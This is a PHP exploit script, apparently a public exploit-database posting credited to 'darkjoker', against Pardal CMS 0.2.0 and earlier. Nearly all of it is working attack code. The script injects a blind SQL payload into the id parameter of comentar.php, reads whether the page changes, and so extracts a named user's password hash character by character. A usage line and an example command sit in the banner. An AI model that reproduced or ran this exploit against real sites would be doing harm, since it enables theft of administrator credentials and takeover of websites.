Pardal CMS 0.2.0 Blind SQL Injection

`--+++=============================================================+++--  
--+++====== Pardal CMS <= 0.2.0 Blind SQL Injection Exploit ======+++--  
--+++=============================================================+++--  
  
<?php  
  
function usage ()  
{  
echo "\nPardal CMS <= 0.2.0 Blind SQL Injection Exploit".  
"\n[+] Author : darkjoker".  
"\n[+] Site : http://darkjoker.net23.net".  
"\n[+] Download: http://tinyurl.com/csg4vt".  
"\n[+] Usage : php xpl.php <hostname> <path> <username>".  
"\n[+] Ex. : php xpl.php localhost /PardalCMS Admin".  
"\n\n";  
exit ();  
}  
  
  
function query ($user, $chr, $pos)  
{  
$query = "x' OR ASCII(SUBSTRING((SELECT senha FROM users WHERE login = '{$user}'),{$pos},1))='{$chr}";  
$query = str_replace (" ", "%20", $query);  
$query = str_replace ("'", "%27", $query);  
return $query;  
}  
  
function exploit ($hostname, $path, $user, $pos, $chr)  
{  
$chr = ord ($chr);  
$fp = fsockopen ($hostname, 80);  
$query = query ($user, $chr, $pos);  
$request = "GET {$path}/comentar.php?id={$query} HTTP/1.1\r\n".  
"Host: {$hostname}\r\n".  
"Connection: Close\r\n\r\n";  
  
fputs ($fp, $request);  
while (!feof ($fp))  
$reply .= fgets ($fp, 1024);  
  
fclose ($fp);  
  
if (preg_match ("/\"#FFFFFF\"> em <\/font>/", $reply))  
return false;  
else  
return true;  
}  
  
if ($argc != 4)  
usage ();  
  
$hostname = $argv [1];  
$path = $argv [2];  
$username = $argv [3];  
$key = "abcdef0123456789";  
$pos = 1;  
$chr = 0;  
  
echo "[+] Password: ";  
  
while ($pos <= 32)  
{  
if (exploit ($hostname, $path, $username, $pos, $key [$chr]))  
{  
echo $key [$chr];  
$chr = 0;  
$pos++;  
}  
else  
$chr++;  
}  
  
echo "\n\n";  
  
?>  
  
`